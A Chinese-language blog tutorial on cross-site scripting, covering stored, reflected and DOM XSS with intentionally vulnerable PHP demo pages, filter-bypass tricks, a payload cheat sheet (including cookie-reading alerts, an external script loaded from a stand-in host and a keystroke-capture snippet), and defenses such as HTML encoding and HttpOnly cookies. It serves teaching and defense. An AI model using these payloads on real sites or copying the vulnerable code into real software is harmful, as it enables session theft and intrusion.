XSS 漏洞学习

  • Post author:
  • Post category:其他




写在前面

DVWA靶场涵盖了存储型XSS、反射型XSS、DOM型XSS最基础的利用与Bypass,笔者对其做了详细的分析与总结供大家学习参考。在这里,笔者建议大家边学边练,逐个击破:

DVWA XSS总结



XSS简介

XSS(Cross Site Scripting)攻击,全称为跨站脚本攻击。为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。主要有三种类型:存储型XSS、反射型XSS(也叫做非持久性)、Dom型XSS。

XSS类型 存储型 反射型 DOM型
触发过程 1.黑客构造XSS脚本

2.正常用户访问携带XSS脚本的页面
正常用户访问携带XSS脚本的URL 正常用户访问携带XSS脚本的URL
数据存储 数据库 URL URL
谁来输出 后端WEB应用程序 后端WEB应用程序 前端JavaScript
输出位置 HTTP响应中 HTTP响应中 动态构造的DOM节点
JavaScript弹窗函数:alert()、confirm()、prompt()



XSS存在的原因

XSS存在的根本原因是没有对URL中的参数和用户输入提交给web server的内容进行充分的过滤。如果我们能够在web程序中对用户提交的URL中的参数和所有内容进行充分的过滤,将所有不合法的参数和输入内容过滤掉,那么就不会导致在用户的浏览器中执行攻击者自己定意的恶意脚本。



XSS可以插入在哪些地方

 *用户输入作为script标签内容
 *用户输入作为HTML注释内容
 *用户输入作为HTML标签的属性名
 *用户输入作为HTML标签的属性值
 *用户输入作为HTML标签的名字
 *直接插入到CSS里
 
 *通过上述可插入的位置可知:千万不要引入任何不可信的第三方JavaScript到页面里!
----------------------------------
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
 <!-- 用户输入 -->
 <!-- --><script>alert('hack')</script><!-- -->
 
 #用户输入作为标签属性名,导致攻击者可以进行闭合绕过
 <div 用户输入="xx">  </div>
 <div ></div><script>alert('hack')</script><div a="xx"> </div>
 
 #用户输入作为标签属性值,导致攻击者可以进行闭合绕过
 <div id="用户输入"></div>
 <div id=""></div><script>alert('hack')</script><div a="x"></div>
 
 #用户输入作为标签名,导致攻击者可以进行闭合绕过
 <用户输入  id="xx" />
 <><script>alert('hack')</script><b id="xx" />
 
 #用户输入作为CSS内容,导致攻击者可以进行闭合绕过
 <style>用户输入<style>
 <style> </style><script>alert('hack')</script><style> </style>
----------------------------------



存储型XSS


攻击流程

存储型XSS又称为持久型XSS,攻击者将XSS代码发送给了服务器,而服务器没有对这些代码做任何处理就直接存储在了数据库中,当下一个用户访问网站时直接从数据库调用出来传给前端,浏览器解析XSS代码就造成了XSS攻击。常见的攻击点在个人信息、发表文章、留言板等地方。

流程图如下:

image-20210108094756253

通过流程图可以很容易知道存储型XSS的常用攻击流程为:攻击者前端插入恶意XSS代码—>后端不做处理传入数据库—>别的用户访问页面—>后端从数据库中调用XSS代码—>前端渲染(执行js脚本)恶意代码实现攻击。


实例代码

<html><head>
<title>留言板</title>
</head>
<body>
<h2>存储型XSS测试<h2>
<br>
<form action="test.php" method="post">
请输入你要留言的内容:<textarea id='Mid' name="desc"></textarea>
<br>
<br>
请输入你的ID:<input type="text" name="user"/><br>
<br>
<input type="submit" value="提交" οnclick='loction="test.php"'/>
</form>
<?php 
if(isset($_POST['user'])&&isset($_POST['desc'])){
$log=fopen("store.txt","a");
fwrite($log,$_POST['user']."\r\n");
fwrite($log,$_POST['desc']."\r\n");
fclose($log);}
if(file_exists("store.txt")){
$read=fopen("store.txt",'r');
while(!feof($read)){
echo fgets($read)."</br>";
}
fclose($read);
}
?>
</body></html>

访问搭建好的测试代码,这里的store.txt文件模拟为后端数据库。

image-20210108102719695

在留言内容中插入

<script>alert("hack")</script>

,然后提交。已经将数据写入的到数据库(store.txt)中了,现在每次访问这个页面都会弹窗。

image-20210108103109009

看一下网页源代码,可以看到之前测试插入的代码从数据库中抽出来了,这里有四个的原因是因为我重复刷新了四次作为测试。

image-20210108103238345

在实际的渗透测试过程中我们要注意传递带有

""

可能会导致闭合sql语句引起程序错误,所以在测试语句中需要转义一下

<script>alert(\'hack\')</script>

或者

<script>alert(/hack/)</script>



反射型XSS


攻击流程

反射型XSS(非持久化),需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面,在发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。这类攻击手段大多数是用来盗取用户的cookie信息。

流程图如下:

image-20210108094651918

通过流程图可以很容易知道存储型XSS的常用攻击流程为:攻击者构造带有恶意XSS代码的URL—>别的用户访问这个URL—>恶意代码被服务器解析—>传递给前端渲染实现攻击。


实例代码

<html>
<head>
<title>XSS_test</title>
<meta http-equiv="content-type" content="txt/html; charset=utf-8" /> 
</head>
<body>
<h2>反射型XSS测试<h2>
<br>
<?php
$age = $_GET['age'];
echo "<h1>我的年龄是".$age."</h1>";
?>
</body></html>

这个代码的意思很简单,就是读取一个age的值并将它打印到屏幕上。当我们精心构造特殊值的时候,就可以引起反射型XSS攻击。比如这个实例中,我们将age赋值为

<script>alert("hack")</script>

,然后再将整个链接发送给被攻击者,通过社工等手段引诱被攻击者点击这个链接就可以实现XSS攻击。

image-20210108125702703

看一下网页源代码,发现插入进去的js脚本被完全执行了。

image-20210108125859890



DOM型XSS


攻击流程

DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,并不经过后端。DOM型XSS总的来说危害较小,一般也归属于反射型XSS的一种。

常见的流程是js代码通过获取页面referer来构造一个img节点,然后加入到页面DOM树发起一个GET请求,从而达到统计访问来源的目的。于是我们就可以构造一个带有攻击代码的链接,通过该链接访问存在DOM-XSS漏洞的目标页面,那么当目标页面的js在构造img节点的时候,就会将带有攻击代码的链接直接构造到页面中,从而导致了XSS攻击的产生。

可能触发DOM型XSS的属性:
document.referer、window.name、location、innerHTML、documen.write

通过上面的解释可以很容易得知Dom型XSS的常用攻击流程为:攻击者前端插入恶意XSS代码—>前端渲染(执行js脚本)恶意代码实现攻击。


实例代码

<html>
<head lang="en">
    <meta charset="UTF-8">
    <title>XSS_test</title>
</head>
<body>
<h2>DOM型XSS测试<h2>
    <form action="test.php" method="post">
        <input type="text" name="name" />
        <input type="submit" value="提交" οnclick='loction="test.php"'>
    </form>
</body>
</html>
<?php
  $name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
  var text=document.getElementById("text");
  var print=document.getElementById("print");
  print.innerHTML=text.value;
</script>

发送我们的

<img src=1 onerror=alert('hack')>

,操作标签来执行js。

image-20210108150648399

通过上面的实例演示我们知道了DOM-XSS攻击与其余两种XSS攻击的不同。在DOM-XSS中,直接插入js代码并不会导致payload的执行,即不会触发攻击(在这里是指页面没有弹窗回显)。只有利用DOM的特性来插入特定的标签,才会导致payload的执行。在上面的实例演示中,我们利用innerHTML属性插入了一个img标签,通过标签触发了js的执行。



常见绕过方式

----------------------------------
 1.区分大小写过滤标签:
	  过滤:$name=preg_replace("/<script>/","",$name);      //过滤<script>
			$name=preg_replace("/<\/script>/","",$name);   //过滤</script>
	  绕过:可以使用大小写绕过  <scripT>alert('hack')</scripT>
----------------------------------
 2.不区分大小写过滤标签:/i:不区分大小写
	  过滤:$name=preg_replace("/<script>/i","",$name);    //不区分大小写过滤 <script>
			$name=preg_replace("/<\/script>/i","",$name);  //不区分大小写过滤 </script>
	  绕过:可以使用嵌套的script标签绕过:<scr<script>ipt>alert('hack')</scr</script>ipt>
---------------------------------- 
 3.不区分大小写,过滤之间的所有内容:
	  过滤:$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); //过滤了<script  及其之间的所有内容
	  绕过:虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件
			或者iframe等标签的 rc注入恶意的js代码。
			<img src=1 οnerrοr=alert('hack')> 
------------------------------------



常用攻击载荷

以下所有标签的 > 都可以用 // 代替,例如 < script> alert(1) </script//

  • <script>标签

    “><script>alert('xss')</script>
    <script>alert("hack")</script>   #弹出hack
    <script>alert(/hack/)</script>   #弹出hack
    <script>alert(1)</script>        #弹出1,对于数字可以不用引号
    <script>alert(document.cookie)</script>      #弹出cookie
    <script src=http://xxx.com/xss.js></script>  #引用外部的xss
    
  • <svg>标签

    <svg onload="alert(1)">
    <svg onload="alert(1)"//
    
  • <img>标签

    <img  src=1  οnerrοr=alert("hack")>
    <img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
    
  • <body>标签

    <body οnlοad=alert(1)>
    <body οnpageshοw=alert(1)>
    
  • <video>标签

    <video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
    
  • <style>标签

    <style οnlοad=alert(1)></style>
    
  • 监听键盘onkeydown事件

    document.onkeydown=funciont(e){
    if(!e)e=window.event;
    try(hijack();)catch(ex){}
    }
    
  • 捕获用户输入的特定键

    <script>
    function keyDown(){
    var keycode = event.keyCode;
    var realkey = String.fromCharCode(event.keyCode);
    alert("按键码: " + keycode + " 字符: " + realkey);
    }
    document.onkeydown = keyDown;
    </scrip>
    



XSS漏洞的挖掘

 黑盒测试:
	 尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
	 *URL的每一个参数
	 *URL本身
	 *表单
	 *搜索框
---------------------
 常见业务场景:
	 *重灾区:评论区、留言区、个人信息、订单信息等
	 *针对型:站内信、网页即时通讯、私信、意见反馈
	 *存在风险:搜索框、当前目录、图片属性等
----------------------
 白盒测试(代码审计):
	 关于XSS的代码审计主要就是从接收参数的地方和一些关键词入手:
		 PHP中常见的接受参数$_GET、$_POST、$_REQUEST等,可以搜索所有接受参数的
	 地方,然后对收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面的
	 数据是否进行了过滤和编码等处理。
	     也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们能否
	 控制,如果从数据库中取的,是否控制存到数据库中的数据,存到数据之前有没有进
	 行过滤等。
	     大多数程序会对接受参数封装在公共文件的函数中同一调用,我们就要审计这些
	 公共函数看看有没有过滤,能否绕过等。
	 同理审计DOM-XSS可以搜索一些js操作DOM元素的关键字进行审计。
----------------------



XSS的危害

  • 对于普通用户(Cookies、隐私数据、lP、日志、相片、邮件、CSRF等)

  • 客户端攻击(浏览器特权域、插件、APP、WebView等)

  • 管理员(后台地址、页面源码、管理员信息、CSRF等)

  • 内网渗透(端口扫描、ST2利用、路由器)

  • 键盘记录、rootkit、蠕虫攻击、水坑、钓鱼、劫持等

image-20210108153631445



XSS的防御

通过对以上内容的学习,我们得知导致XSS漏洞出现的主要原因,是前端页面完全信任了用户输入的数据。所以我们可以在前端加上过滤代码、转义代码来防御XSS攻击。如将

\

转义成为

\\



/

转义成为

\/



;

转义成为

中文;

注意:在对不可信数据做编码的时候,不能图方便使用反斜杠 \对特殊字符进行简单转义,比如将双引号 ”转义成 \”,这样做是不可靠的。因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,所以双引号很可能会被当做HTML字符进行HTML解析。这时,双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;另外,输出变量的时候,变量值必须在引号内部,避免安全问题;更加严格的方式是对除了数字和字母以外的所有字符,使用十六进制\xhh的方式进行编码。

其次,如果攻击者有一定几率绕过前端防御,可以将 cookie 标记为 http only。这样的话,当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,从而避免了XSS攻击利用 js 的 document.cookie 获取用户 cookie。

另外两种常用的办法:

1.使用XSS Filter

针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:

  • 表单数据指定值的类型:年龄只能是 int 、名字只能是字母等。
  • 过滤或移除特殊的 html 标签:

    <script>



    <iframe>

    等。
  • 过滤 js 事件的标签:

    onclick



    onerror



    onfocus

    等。

2.html实体编码

当需要往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码,在html中有些字符对于HTML来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。 html 实体的存在是导致 XSS 漏洞的主要原因之一,因此我们需要将实体转化为相应的实体编号。

image-20210108155930639

对输出进行html编码:(主要思路:在输出数据之前对潜在的威胁的字符进行编码、转义)

就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本执行而输出。也就是

在输出动态数据之前对潜在的威胁字符进行严格编码、转义,这是防御XSS攻击十分有效的措施,

使用的号理论上讲可以可以所有XSS攻击。
 ------------------------------
	对所有动态输出到页面的内容,统统进行相关的转义和编码。当然转义是按照其输出的上下文决定
	
	1).作为body文本输出、作为html标签的属性输出:
	2).JavaScript事件
	
	3).URL属性:
	如果<script>,<style>,<imt>等标签的sr 和href属性值为动态内容那么要确保这些url没有执行恶意连接。
	确保:href和src的值必须以http://开头,白名单方式;不能有10进制和16进制编码字符。
	
	4).HTTPonly与XSS防御:
	XSS一般利用js脚步读取用户浏览器中的Cookie,而如果在服务器端对Cookie设置了HttpOnly属性,
	那么js脚本就不能读取到cookie,但是浏览器还是能够正常使用cookie
------------------------------------
使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体:

		#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体
		
		 $name = htmlspecialchars( $_GET[ 'name' ] );
		 
经过html编码后,<script>标签被当成了html实体。 
------------------------------------
此外还可以故武器设置会话cookie的HTTP only属性,这样,客户端的js脚本就不能获取cookie。
============================================================
黑名单过滤:
-------------
	列出不能出现的对象的清单,一旦出现就进行处理;
-------------
白名单过滤:
-------------
	白名单列出的是可被接受的内容,比如规定所有的输入只能是“大小写的26个英
文字母和10个数字,还有-和_”,所有其他的输入都是非法的,会被抛弃掉。很显然如此严格
的白名单是可以100%拦截所有的XSS攻击的。但是现实情况一般是不能进行如此严格的白名单
过滤的。
-------------



参考文章


https://blog.csdn.net/weixin_40950781/article/details/100007103



版权声明:本文为qq_45927266原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。